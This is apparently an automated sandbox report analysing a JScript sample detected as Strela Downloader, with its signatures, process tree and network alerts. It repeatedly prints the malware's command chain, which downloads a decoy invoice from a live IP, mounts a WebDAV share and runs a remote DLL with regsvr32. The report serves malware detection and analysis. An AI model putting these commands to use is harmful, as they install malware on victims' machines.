Edit tour

Windows Analysis Report
32600206981428831400.js

Overview

General Information

Sample name:	32600206981428831400.js
Analysis ID:	1588310
MD5:	e1c9c1855e82950a6241bdeb313a7c7a
SHA1:	dbc56e2e99753e64d39563d908ad93537272de21
SHA256:	f61fc78a02d71b0c7a60547c2386cae6517ec95fa6ae2500c68c7d5120a6a8b7
Tags:	jsuser-threatcat_ch
Infos:

Detection

Strela Downloader

Score:	100
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

JScript performs obfuscated calls to suspicious functions

Sigma detected: Powershell launch regsvr32

Suricata IDS alerts for network traffic

Yara detected Strela Downloader

Downloads files with wrong headers with respect to MIME Content-Type

Gathers information about network shares

JavaScript source code contains functionality to generate code involving a shell, file or stream

Sigma detected: Suspicious Invoke-WebRequest Execution

Sigma detected: Suspicious Script Execution From Temp Folder

Sigma detected: WScript or CScript Dropper

Suspicious execution chain found

Suspicious powershell command line found

Uses known network protocols on non-standard ports

Windows Scripting host checks user region and language preferences

Windows Scripting host queries suspicious COM object (likely to drop second stage)

Wscript starts Powershell (via cmd or directly)

Contains long sleeps (>= 3 min)

Creates a process in suspended mode (likely to inject code)

Creates files inside the system directory

Detected TCP or UDP traffic on non-standard ports

Detected non-DNS traffic on DNS port

Found WSH timer for Javascript or VBS script (likely evasive script)

Found a high number of Window / User specific system calls (may be a loop to detect user behavior)

IP address seen in connection with other malware

Internet Provider seen in connection with other malware

Java / VBScript file with very long strings (likely obfuscated code)

May sleep (evasive loops) to hinder dynamic analysis

Queries disk information (often used to detect virtual machines)

Queries the volume information (name, serial number etc) of a device

Sigma detected: Communication To Uncommon Destination Ports

Sigma detected: Cscript/Wscript Potentially Suspicious Child Process

Sigma detected: Potential DLL File Download Via PowerShell Invoke-WebRequest

Sigma detected: PowerShell Script Run in AppData

Sigma detected: PowerShell Web Download

Sigma detected: Suspicious Invoke-WebRequest Execution With DirectIP

Sigma detected: Usage Of Web Request Commands And Cmdlets

Sigma detected: WSF/JSE/JS/VBA/VBE File Execution Via Cscript/Wscript

Suricata IDS alerts with low severity for network traffic

Uses a known web browser user agent for HTTP communication

Very long cmdline option found, this is very uncommon (may be encrypted or packed)

Classification

Process Tree

System is w10x64

wscript.exe (PID: 7480 cmdline: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\32600206981428831400.js" MD5: A47CBE969EA935BDD3AB568BB126BC80)

cmd.exe (PID: 7560 cmdline: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\145574010200.dll MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

conhost.exe (PID: 7568 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

powershell.exe (PID: 7612 cmdline: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php" MD5: 04029E121A0CFA5991749937DD22A1D9)

Acrobat.exe (PID: 7808 cmdline: "C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe" "C:\Users\user\AppData\Local\Temp\invoice.pdf" MD5: 24EAD1C46A47022347DC0F05F6EFBB8C)

AcroCEF.exe (PID: 8024 cmdline: "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --backgroundcolor=16777215 MD5: 9B38E8E8B6DD9622D24B53E095C5D9BE)

AcroCEF.exe (PID: 7292 cmdline: "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --log-severity=disable --user-agent-product="ReaderServices/23.6.20320 Chrome/105.0.0.0" --lang=en-US --log-file="C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\debug.log" --mojo-platform-channel-handle=2108 --field-trial-handle=1668,i,3887016290142104723,4358048301477024581,131072 --disable-features=BackForwardCache,CalculateNativeWinOcclusion,WinUseBrowserSpellChecker /prefetch:8 MD5: 9B38E8E8B6DD9622D24B53E095C5D9BE)

cmd.exe (PID: 7824 cmdline: cmd /c net use \\193.143.1.205@8888\davwwwroot\ MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

net.exe (PID: 7920 cmdline: net use \\193.143.1.205@8888\davwwwroot\ MD5: 0BD94A338EEA5A4E1F2830AE326E6D19)

svchost.exe (PID: 8092 cmdline: C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS MD5: B7F884C1B74A263F746EE12A5F7C9F6A)

cleanup

Yara Signatures

Memory Dumps

Source	Rule	Description	Author	Strings
Process Memory Space: wscript.exe PID: 7480	JoeSecurity_StrelaDownloader	Yara detected Strela Downloader	Joe Security

Sigma Signatures

System Summary

Sigma detected: Suspicious Invoke-WebRequest Execution

Source: Process started

Author: Nasreddine Bencherchali (Nextron Systems): Data: Command: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine|base64offset|contains: *&, Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\145574010200.dll, ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 7560, ParentProcessName: cmd.exe, ProcessCommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", ProcessId: 7612, ProcessName: powershell.exe

Sigma detected: Suspicious Script Execution From Temp Folder

Source: Process started

Author: Florian Roth (Nextron Systems), Max Altgelt (Nextron Systems), Tim Shelton: Data: Command: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine|base64offset|contains: *&, Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\145574010200.dll, ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 7560, ParentProcessName: cmd.exe, ProcessCommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", ProcessId: 7612, ProcessName: powershell.exe

Sigma detected: WScript or CScript Dropper

Source: Process started

Author: Margaritis Dimitrios (idea), Florian Roth (Nextron Systems), oscd.community: Data: Command: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\32600206981428831400.js", CommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\32600206981428831400.js", CommandLine|base64offset|contains: , Image: C:\Windows\System32\wscript.exe, NewProcessName: C:\Windows\System32\wscript.exe, OriginalFileName: C:\Windows\System32\wscript.exe, ParentCommandLine: , ParentImage: , ParentProcessId: 4084, ProcessCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\32600206981428831400.js", ProcessId: 7480, ProcessName: wscript.exe

Sigma detected: Communication To Uncommon Destination Ports

Source: Network Connection

Author: Florian Roth (Nextron Systems): Data: DestinationIp: 193.143.1.205, DestinationIsIpv6: false, DestinationPort: 8888, EventID: 3, Image: C:\Windows\System32\net.exe, Initiated: true, ProcessId: 7920, Protocol: tcp, SourceIp: 192.168.2.8, SourceIsIpv6: false, SourcePort: 49707

Sigma detected: Cscript/Wscript Potentially Suspicious Child Process

Source: Process started

Author: Nasreddine Bencherchali (Nextron Systems), Alejandro Houspanossian ('@lekz86'): Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\145574010200.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\145574010200.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\32600206981428831400.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 7480, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\145574010200.dll, ProcessId: 7560, ProcessName: cmd.exe

Sigma detected: Potential DLL File Download Via PowerShell Invoke-WebRequest

Source: Process started

Author: Florian Roth (Nextron Systems), Hieu Tran: Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\145574010200.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\145574010200.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\32600206981428831400.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 7480, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\145574010200.dll, ProcessId: 7560, ProcessName: cmd.exe

Sigma detected: PowerShell Script Run in AppData

Source: Process started

Author: Florian Roth (Nextron Systems), Jonhnathan Ribeiro, oscd.community: Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\145574010200.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\145574010200.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\32600206981428831400.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 7480, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\145574010200.dll, ProcessId: 7560, ProcessName: cmd.exe

Sigma detected: PowerShell Web Download

Source: Process started

Author: Florian Roth (Nextron Systems): Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\145574010200.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\145574010200.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\32600206981428831400.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 7480, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\145574010200.dll, ProcessId: 7560, ProcessName: cmd.exe

Sigma detected: Suspicious Invoke-WebRequest Execution With DirectIP

Source: Process started

Sigma detected: Usage Of Web Request Commands And Cmdlets

Source: Process started

Author: James Pemberton / @4A616D6573, Endgame, JHasenbusch, oscd.community, Austin Songer @austinsonger: Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\145574010200.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\145574010200.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\32600206981428831400.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 7480, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\145574010200.dll, ProcessId: 7560, ProcessName: cmd.exe

Sigma detected: WSF/JSE/JS/VBA/VBE File Execution Via Cscript/Wscript

Source: Process started

Author: Michael Haag: Data: Command: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\32600206981428831400.js", CommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\32600206981428831400.js", CommandLine|base64offset|contains: , Image: C:\Windows\System32\wscript.exe, NewProcessName: C:\Windows\System32\wscript.exe, OriginalFileName: C:\Windows\System32\wscript.exe, ParentCommandLine: , ParentImage: , ParentProcessId: 4084, ProcessCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\32600206981428831400.js", ProcessId: 7480, ProcessName: wscript.exe

Sigma detected: Non Interactive PowerShell Process Spawned

Source: Process started

Author: Roberto Rodriguez @Cyb3rWard0g (rule), oscd.community (improvements): Data: Command: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine|base64offset|contains: *&, Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\145574010200.dll, ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 7560, ParentProcessName: cmd.exe, ProcessCommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", ProcessId: 7612, ProcessName: powershell.exe

Sigma detected: System Network Connections Discovery Via Net.EXE

Source: Process started

Author: frack113: Data: Command: net use \\193.143.1.205@8888\davwwwroot\, CommandLine: net use \\193.143.1.205@8888\davwwwroot\, CommandLine|base64offset|contains: , Image: C:\Windows\System32\net.exe, NewProcessName: C:\Windows\System32\net.exe, OriginalFileName: C:\Windows\System32\net.exe, ParentCommandLine: cmd /c net use \\193.143.1.205@8888\davwwwroot\, ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 7824, ParentProcessName: cmd.exe, ProcessCommandLine: net use \\193.143.1.205@8888\davwwwroot\, ProcessId: 7920, ProcessName: net.exe

Sigma detected: Windows Processes Suspicious Parent Directory

Source: Process started

Author: vburov: Data: Command: C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS, CommandLine: C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS, CommandLine|base64offset|contains: , Image: C:\Windows\System32\svchost.exe, NewProcessName: C:\Windows\System32\svchost.exe, OriginalFileName: C:\Windows\System32\svchost.exe, ParentCommandLine: , ParentImage: , ParentProcessId: 624, ProcessCommandLine: C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS, ProcessId: 8092, ProcessName: svchost.exe

Sigma detected: Windows Share Mount Via Net.EXE

Source: Process started

Author: Nasreddine Bencherchali (Nextron Systems): Data: Command: net use \\193.143.1.205@8888\davwwwroot\, CommandLine: net use \\193.143.1.205@8888\davwwwroot\, CommandLine|base64offset|contains: , Image: C:\Windows\System32\net.exe, NewProcessName: C:\Windows\System32\net.exe, OriginalFileName: C:\Windows\System32\net.exe, ParentCommandLine: cmd /c net use \\193.143.1.205@8888\davwwwroot\, ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 7824, ParentProcessName: cmd.exe, ProcessCommandLine: net use \\193.143.1.205@8888\davwwwroot\, ProcessId: 7920, ProcessName: net.exe

HIPS / PFW / Operating System Protection Evasion

Sigma detected: Powershell launch regsvr32

Source: Process started

Author: Joe Security: Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\145574010200.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\145574010200.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\32600206981428831400.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 7480, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\145574010200.dll, ProcessId: 7560, ProcessName: cmd.exe

Suricata Signatures

Joe Security ANOMALY Microsoft Office WebDAV Discovery

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2025-01-10T23:51:51.025443+0100	1810005	1	Potentially Bad Traffic	192.168.2.8	49707	193.143.1.205	8888	TCP

Joe Security ANOMALY Windows PowerShell HTTP activity

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2025-01-10T23:51:47.864144+0100	1810000	2	Potentially Bad Traffic	192.168.2.8	49706	193.143.1.205	80	TCP

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

Software Vulnerabilities

JavaScript source code contains functionality to generate code involving a shell, file or stream

Source: 32600206981428831400.js	Argument value : ['"cmd /c powershell.exe -Command "Invoke-WebRequest -OutFile %temp%\\invoice.pdf http://193.143.1.205/', '"WScript.Shell"']			Go to definition
Source: 32600206981428831400.js	Argument value : ['"cmd /c powershell.exe -Command "Invoke-WebRequest -OutFile %temp%\\invoice.pdf http://193.143.1.205/', '"WScript.Shell"']			Go to definition

Suspicious execution chain found

Source: C:\Windows\System32\wscript.exe

Child: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Networking

Suricata IDS alerts for network traffic

Source: Network traffic

Suricata IDS: 1810005 - Severity 1 - Joe Security ANOMALY Microsoft Office WebDAV Discovery : 192.168.2.8:49707 -> 193.143.1.205:8888

Downloads files with wrong headers with respect to MIME Content-Type

Source: http

Bad PDF prefix: HTTP/1.1 200 OK Server: nginx/1.22.1 Date: Fri, 10 Jan 2025 22:51:47 GMT Content-Type: application/pdf Transfer-Encoding: chunked Connection: keep-alive X-Frame-Options: SAMEORIGIN Data Raw: 31 66 36 61 0d 0a 25 50 44 46 2d 31 2e 37 0a 25 bf f7 a2 fe 0a 31 20 30 20 6f 62 6a 0a 3c 3c 20 2f 50 61 67 65 73 20 33 20 30 20 52 20 2f 54 79 70 65 20 2f 43 61 74 61 6c 6f 67 20 3e 3e 0a 65 6e 64 6f 62 6a 0a 32 20 30 20 6f 62 6a 0a 3c 3c 20 2f 54 79 70 65 20 2f 4f 62 6a 53 74 6d 20 2f 4c 65 6e 67 74 68 20 35 36 20 2f 46 69 6c 74 65 72 20 2f 46 6c 61 74 65 44 65 63 6f 64 65 20 2f 4e 20 31 20 2f 46 69 72 73 74 20 34 20 3e 3e 0a 73 74 72 65 61 6d 0a 78 9c 33 56 30 e0 b2 b1 51 d0 77 ce 2f cd 2b 51 30 54 d0 f7 ce 4c 29 56 88 56 30 51 30 50 08 52 88 55 d0 0f a9 2c 48 55 d0 0f 48 4c 4f 2d 56 b0 b3 e3 02 00 25 30 0c 6d 65 6e 64 73 74 72 65 61 6d 0a 65 6e 64 6f 62 6a 0a 34 20 30 20 6f 62 6a 0a 3c 3c 20 2f 43 6f 6e 74 65 6e 74 73 20 35 20 30 20 52 20 2f 47 72 6f 75 70 20 3c 3c 20 2f 43 53 20 2f 44 65 76 69 63 65 52 47 42 20 2f 49 20 74 72 75 65 20 2f 53 20 2f 54 72 61 6e 73 70 61 72 65 6e 63 79 20 2f 54 79 70 65 20 2f 47 72 6f 75 70 20 3e 3e 20 2f 4d 65 64 69 61 42 6f 78 20 5b 20 30 20 30 20 35 39 34 2e 39 36 20 38 34 30 2e 39 36 20 5d 20 2f 50 61 72 65 6e 74 20 33 20 30 20 52 20 2f 52 65 73 6f 75 72 63 65 73 20 36 20 30 20 52 20 2f 53 74 72 75 63 74 50 61 72 65 6e 74 73 20 30 20 2f 54 79 70 65 20 2f 50 61 67 65 20 3e 3e 0a 65 6e 64 6f 62 6a 0a 35 20 30 20 6f 62 6a 0a 3c 3c 20 2f 46 69 6c 74 65 72 20 2f 46 6c 61 74 65 44 65 63 6f 64 65 20 2f 4c 65 6e 67 74 68 20 37 35 20 3e 3e 0a 73 74 72 65 61 6d 0a 78 9c 33 54 30 00 42 5d 43 20 61 61 62 a0 67 69 a6 90 9c cb 55 c8 65 a8 00 82 45 e9 0a fa 89 06 0a e9 c5 5c 20 45 a6 96 26 40 79 43 a8 3a a0 6c aa 42 1a 57 a0 42 21 50 39 44 95 82 7e 85 b9 82 4b 3e 57 20 10 02 00 26 99 12 f1 65 6e 64 73 74 72 65 61 6d 0a 65 6e 64 6f 62 6a 0a 36 20 30 20 6f 62 6a 0a 3c 3c 20 2f 45 78 74 47 53 74 61 74 65 20 3c 3c 20 2f 61 30 20 3c 3c 20 2f 43 41 20 31 20 2f 63 61 20 31 20 3e 3e 20 3e 3e 20 2f 58 4f 62 6a 65 63 74 20 3c 3c 20 2f 78 37 20 37 20 30 20 52 20 3e 3e 20 3e 3e 0a 65 6e 64 6f 62 6a 0a 37 20 30 20 6f 62 6a 0a 3c 3c 20 2f 42 42 6f 78 20 5b 20 30 20 30 20 35 39 35 20 38 34 31 20 5d 20 2f 46 69 6c 74 65 72 20 2f 46 6c 61 74 65 44 65 63 6f 64 65 20 2f 52 65 73 6f 75 72 63 65 73 20 38 20 30 20 52 20 2f 53 75 62 74 79 70 65 20 2f 46 6f 72 6d 20 2f 54 79 70 65 20 2f 58 4f 62 6a 65 63 74 20 2f 4c 65 6e 67 74 68 20 35 39 20 3e 3e 0a 73 74 72 65 61 6d 0a 78 9c 2b e4 0a 54 28 e4 d2 4f 2f 36 50 48 2f e6 2a e4 32 b5 34 d1 b3 34 53 30 00 42 5d 0b 13 03 08 1b ca 48 ce e5 d2 4f 04 a9 53 d0 af 30 34 54 70 c9 e7 0a 04 42 00 f1 ec 0e 9e 65 6e 64 73 74 72 65 61 6d 0a 65 6e 64 6f 62 6a 0a 38 20 30 20 6f 62 6a 0a 3c 3c 20 2f 45 78 74 47 53 74 61 74 65 20 3c 3c 20 2f 61 30 20 3c 3c 20 2f 43 41 20 31 20 2f 63 61 20 31 20 3e 3e 20 2f 67 73 30 20 3c 3c 20 2f 42 4d 20 2f 4e 6f 72 6d 61 6c 20 2f 43 41 20 31 2e 30 20 2f 53 4d 61 73 6b 20 2f 4e 6f 6e 65 20 2f 6

Uses known network protocols on non-standard ports

Source: unknown	Network traffic detected: HTTP traffic on port 49707 -> 8888
Source: unknown	Network traffic detected: HTTP traffic on port 8888 -> 49707

Source: global traffic

TCP traffic: 192.168.2.8:49707 -> 193.143.1.205:8888

Source: global traffic

TCP traffic: 192.168.2.8:61226 -> 162.159.36.2:53

Source: Joe Sandbox View

IP Address: 193.143.1.205 193.143.1.205

Source: Joe Sandbox View

ASN Name: BITWEB-ASRU BITWEB-ASRU

Source: Network traffic

Suricata IDS: 1810000 - Severity 2 - Joe Security ANOMALY Windows PowerShell HTTP activity : 192.168.2.8:49706 -> 193.143.1.205:80

Source: global traffic

